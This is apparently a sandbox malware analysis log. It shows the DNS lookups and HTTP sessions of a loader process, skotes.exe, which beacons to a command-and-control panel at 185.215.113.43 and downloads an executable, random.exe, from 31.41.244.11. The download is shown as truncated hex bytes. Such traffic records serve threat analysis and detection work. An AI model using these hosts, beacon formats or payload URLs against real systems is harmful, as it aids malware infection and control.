Dec 18, 2024 15:56:57.214602947 CET	192.168.2.10	1.1.1.1	0x12d4	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:57.269650936 CET	192.168.2.10	1.1.1.1	0x1ab9	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:57.342530966 CET	192.168.2.10	1.1.1.1	0x5f51	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:57.342619896 CET	192.168.2.10	1.1.1.1	0x296e	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 15:56:57.354758024 CET	192.168.2.10	1.1.1.1	0x9cf0	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 18, 2024 15:56:58.269165039 CET	192.168.2.10	1.1.1.1	0x1ab9	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:58.383712053 CET	192.168.2.10	1.1.1.1	0x6312	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 18, 2024 15:56:59.742821932 CET	192.168.2.10	1.1.1.1	0xa1e2	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:59.743351936 CET	192.168.2.10	1.1.1.1	0x6b9e	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:59.807039022 CET	192.168.2.10	1.1.1.1	0xb323	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:59.971411943 CET	192.168.2.10	1.1.1.1	0xf509	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:00.130105019 CET	192.168.2.10	1.1.1.1	0x4876	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:00.302287102 CET	192.168.2.10	1.1.1.1	0x4e55	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 18, 2024 15:57:05.505945921 CET	192.168.2.10	1.1.1.1	0x192a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:05.506110907 CET	192.168.2.10	1.1.1.1	0x38e2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 18, 2024 15:57:09.206967115 CET	192.168.2.10	1.1.1.1	0x4878	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:09.207009077 CET	192.168.2.10	1.1.1.1	0xe56b	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 15:57:12.059950113 CET	192.168.2.10	1.1.1.1	0x22b7	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:12.060297012 CET	192.168.2.10	1.1.1.1	0x81f3	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 15:57:20.783261061 CET	192.168.2.10	1.1.1.1	0xa8a	Standard query (0)	lossekniyyt.click	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:34.829562902 CET	192.168.2.10	1.1.1.1	0x2109	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 18, 2024 15:57:34.973298073 CET	192.168.2.10	1.1.1.1	0x25e3	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:34.974530935 CET	192.168.2.10	1.1.1.1	0xad90	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:34.976085901 CET	192.168.2.10	1.1.1.1	0xfad7	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 18, 2024 15:57:35.017422915 CET	192.168.2.10	1.1.1.1	0x5a0	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 18, 2024 15:57:35.093431950 CET	192.168.2.10	1.1.1.1	0x3b06	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 18, 2024 15:57:35.216059923 CET	192.168.2.10	1.1.1.1	0x2e8d	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:36.330156088 CET	192.168.2.10	1.1.1.1	0x236c	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:36.444608927 CET	192.168.2.10	1.1.1.1	0x907d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:40.737368107 CET	192.168.2.10	1.1.1.1	0x1387	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 15:56:21.133977890 CET	1.1.1.1	192.168.2.10	0x9711	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:21.133977890 CET	1.1.1.1	192.168.2.10	0x9711	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:26.125025034 CET	1.1.1.1	192.168.2.10	0xde61	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:28.137388945 CET	1.1.1.1	192.168.2.10	0x325b	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:28.277610064 CET	1.1.1.1	192.168.2.10	0x3e56	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:28.277610064 CET	1.1.1.1	192.168.2.10	0x3e56	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:29.528861046 CET	1.1.1.1	192.168.2.10	0xfd7e	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:41.992809057 CET	1.1.1.1	192.168.2.10	0x14dc	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:50.755454063 CET	1.1.1.1	192.168.2.10	0xa141	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:54.562944889 CET	1.1.1.1	192.168.2.10	0x4b19	No error (0)	twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:54.733923912 CET	1.1.1.1	192.168.2.10	0x2899	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:54.950556993 CET	1.1.1.1	192.168.2.10	0xe8fc	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:56.188327074 CET	1.1.1.1	192.168.2.10	0xfbf9	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:56.189291000 CET	1.1.1.1	192.168.2.10	0xe05b	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 15:56:56.189291000 CET	1.1.1.1	192.168.2.10	0xe05b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:56.377795935 CET	1.1.1.1	192.168.2.10	0x7c74	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:56.377801895 CET	1.1.1.1	192.168.2.10	0x95da	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:56.519565105 CET	1.1.1.1	192.168.2.10	0x6e13	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:56.520768881 CET	1.1.1.1	192.168.2.10	0x193f	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 18, 2024 15:56:56.660645962 CET	1.1.1.1	192.168.2.10	0x3ee8	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:56.681540966 CET	1.1.1.1	192.168.2.10	0x83d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 18, 2024 15:56:57.210395098 CET	1.1.1.1	192.168.2.10	0x328e	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 15:56:57.210395098 CET	1.1.1.1	192.168.2.10	0x328e	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:57.226986885 CET	1.1.1.1	192.168.2.10	0x328c	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 15:56:57.226986885 CET	1.1.1.1	192.168.2.10	0x328c	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:57.353903055 CET	1.1.1.1	192.168.2.10	0x12d4	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:57.482851982 CET	1.1.1.1	192.168.2.10	0x5f51	No error (0)	twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:58.379055023 CET	1.1.1.1	192.168.2.10	0x1ab9	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:56:58.406285048 CET	1.1.1.1	192.168.2.10	0x1ab9	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:00.008048058 CET	1.1.1.1	192.168.2.10	0x6b9e	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:00.008048058 CET	1.1.1.1	192.168.2.10	0x6b9e	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:00.008059025 CET	1.1.1.1	192.168.2.10	0xa1e2	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:00.013314009 CET	1.1.1.1	192.168.2.10	0xb323	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 15:57:00.013314009 CET	1.1.1.1	192.168.2.10	0xb323	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:00.128205061 CET	1.1.1.1	192.168.2.10	0xf509	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 15:57:00.128205061 CET	1.1.1.1	192.168.2.10	0xf509	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 15:57:00.128205061 CET	1.1.1.1	192.168.2.10	0xf509	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:00.269129992 CET	1.1.1.1	192.168.2.10	0x4876	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:00.442655087 CET	1.1.1.1	192.168.2.10	0x4e55	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Dec 18, 2024 15:57:05.643270969 CET	1.1.1.1	192.168.2.10	0x192a	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:05.643281937 CET	1.1.1.1	192.168.2.10	0x38e2	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 18, 2024 15:57:09.344722033 CET	1.1.1.1	192.168.2.10	0x4878	No error (0)	twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:12.198724985 CET	1.1.1.1	192.168.2.10	0x22b7	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:21.112329006 CET	1.1.1.1	192.168.2.10	0xa8a	No error (0)	lossekniyyt.click		104.21.12.88	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:21.112329006 CET	1.1.1.1	192.168.2.10	0xa8a	No error (0)	lossekniyyt.click		172.67.131.246	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:35.159081936 CET	1.1.1.1	192.168.2.10	0xad90	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 15:57:35.159081936 CET	1.1.1.1	192.168.2.10	0xad90	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:35.159594059 CET	1.1.1.1	192.168.2.10	0x25e3	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:35.358663082 CET	1.1.1.1	192.168.2.10	0x2e8d	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:35.588958025 CET	1.1.1.1	192.168.2.10	0xc33b	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 15:57:35.588958025 CET	1.1.1.1	192.168.2.10	0xc33b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:36.264856100 CET	1.1.1.1	192.168.2.10	0x7c02	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:36.467751026 CET	1.1.1.1	192.168.2.10	0x236c	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:36.591450930 CET	1.1.1.1	192.168.2.10	0x907d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 15:57:36.591450930 CET	1.1.1.1	192.168.2.10	0x907d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:57:40.878612041 CET	1.1.1.1	192.168.2.10	0x1387	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49736	185.215.113.43	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:05.197184086 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 15:56:06.495682001 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49744	185.215.113.43	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:08.121943951 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 30 32 41 37 31 42 38 35 39 38 32 44 31 32 46 43 30 37 44 42 32 33 39 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B02A71B85982D12FC07DB239B96DA0445166EF7A7D35B1E750864299
Dec 18, 2024 15:56:09.481765985 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 33 33 0d 0a 20 3c 63 3e 31 30 31 36 39 33 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 36 39 33 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 36 39 33 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 36 39 33 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 [TRUNCATED] Data Ascii: 433 <c>1016935001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1016936001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1016937001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1016938001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1016939001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1016940001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1016941001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1016942001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1016943001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#1016944001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1016945001+++b5937c1a99d5f9df0b5dafc850623847 [TRUNCATED]
Dec 18, 2024 15:56:09.481822968 CET	30	IN	Data Raw: 38 63 64 64 35 34 61 39 36 38 35 39 61 35 35 33 36 65 36 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8cdd54a96859a5536e6#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49749	31.41.244.11	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:09.611690044 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 15:56:10.940046072 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:10 GMT Content-Type: application/octet-stream Content-Length: 4453888 Last-Modified: Wed, 18 Dec 2024 13:39:03 GMT Connection: keep-alive ETag: "6762d077-43f600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 d0 b5 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 b6 00 00 04 00 00 a5 60 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 b5 b5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 b5 b5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELU`g(>D.d2PD@`D@ _asa pa>(@.rsrcaN(@.idata aP(@ 8aR(@ocsbkfkw@zT(@ujuhopimC@.taggant0"C@
Dec 18, 2024 15:56:10.940068007 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:10.940078974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:10.940191031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:10.940197945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:10.940210104 CET	672	IN	Data Raw: 8b c5 fd f1 e9 97 c3 42 e0 91 90 d4 17 68 f1 88 54 a0 11 ed 7b d1 0c d3 d5 70 1e 46 ed f6 cf ae 89 e6 f0 dd 2d f9 51 be c1 01 a9 53 13 3e 18 5d 5a 17 a8 ac ec 76 55 26 0a fb 80 5c 37 f5 01 2e b7 59 70 7b 9c e9 51 b9 f5 1d 5a 66 3c 58 11 7c 12 7b Data Ascii: BhT{pF-QS>]ZvU&\7.Yp{QZf<X\|{2FYwRNT=p~.6;Qz&y']8#S:fq6pJ?meF\Jx:1Pd(MY>s&\|@{<B\F\Z~^59j
Dec 18, 2024 15:56:10.940406084 CET	1236	IN	Data Raw: b0 80 4c fb a3 9d 5a 21 8d f9 73 9e 16 30 3c 12 49 6f 8b 7d d6 ed 91 2a 65 e6 8b d6 5d 4b 30 4c 7d 75 18 f5 4b 86 99 06 8f 83 4a 3b 21 77 04 39 c9 f7 28 d4 70 a9 e4 cd 63 a7 bb f2 65 55 aa 0e d5 7d 90 28 77 69 bc 26 35 49 00 5d 09 48 89 a0 ee fe Data Ascii: LZ!s0<Io}e]K0L}uKJ;!w9(pceU}(wi&5I]H3B7aYYFc}nq++8D8}Ztsr(b8Pe'@4b&{n.8Z(I^fmc)T8`zO;ru#h\|H]x\MV3
Dec 18, 2024 15:56:10.940455914 CET	224	IN	Data Raw: 46 f6 0f d7 91 8a d1 ec d9 fc 81 d3 ca e7 02 1b 68 8c e9 44 f6 86 22 bf f0 a7 1c 6d ce 3c 3b bf e1 49 90 06 d6 f1 aa 25 f8 c9 0c f3 ae 79 29 eb e8 74 bb c0 37 ce 79 0f 01 48 3a d9 b0 03 77 e1 bd 21 29 ef 02 07 ae a9 44 6d df 88 76 95 21 3f da 0e Data Ascii: FhD"m<;I%y)t7yH:w!)Dmv!?0HX6!V; 6DY'}8Sjk=$9\pKiFHqQ_88-i%)}`(?872NK1y)wb)Gq\,?pz"
Dec 18, 2024 15:56:10.940460920 CET	1236	IN	Data Raw: 45 80 c3 30 c4 c2 7b 1e f1 d4 c4 5c f9 a3 6d b0 26 91 ec a9 15 4b 9c 60 56 75 af bb 4b 71 91 b9 64 48 3b cf 59 4f 64 4a 29 1d f1 3a 80 8a f4 b2 06 7c 05 f5 e3 fd eb dd 9a a0 ab 95 5b e9 eb c6 19 a5 64 13 31 92 84 24 76 a5 90 53 f4 45 6e 40 73 05 Data Ascii: E0{\m&K`VuKqdH;YOdJ):\|[d1$vSEn@s)N)64;Al[HK$"fJ5>OCLt8gs+LGK}8tZz!1t#zeQ}S- $&@w:ojuEGv&g;2zjjQNTL
Dec 18, 2024 15:56:10.940501928 CET	1236	IN	Data Raw: 66 11 a8 bc 32 59 f1 bd 4b 0e c4 18 98 5d 7a 06 f0 c8 a9 7f 21 92 a4 8a 1d d5 ef 50 8d f9 65 7d 56 75 f0 10 15 23 af e9 81 58 66 7f b1 c9 ac e1 f3 f1 77 f3 17 0e 05 45 0d 86 bd 78 15 9d 17 e0 7f aa 4a e0 8a 3b 50 dc e5 03 42 c4 f5 7a 07 a7 46 40 Data Ascii: f2YK]z!Pe}Vu#XfwExJ;PBzF@;j<?%7GigQI'c@,Aga{or=PvcD">U[X:Z_}JxYxw)/X/f"ujTQlz%5V)\=42Mc'KFeW
Dec 18, 2024 15:56:11.062741041 CET	1236	IN	Data Raw: 41 07 59 09 7b b2 a0 22 5e 4b 99 81 f9 7e 21 26 fe 48 72 4e 58 cc 77 38 7b 1f f6 2c ca e4 8a d6 27 c8 9f 7b 55 88 8f 72 09 ee 25 45 c0 0e 5d 52 e0 c0 17 9d a5 65 d3 ee 68 94 b0 be aa 10 1d d5 c0 44 24 cd e5 8a 6a e9 c2 4d 24 ed 86 f7 16 f2 61 37 Data Ascii: AY{"^K~!&HrNXw8{,'{Ur%E]RehD$jM$a7t'S0w`6&yyu%MXY}AjNu2Z43J#<QzW\|Z89I0>bl6lyC$"zn9Q'W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49776	185.215.113.43	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:20.509612083 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016935001&unit=246122658369
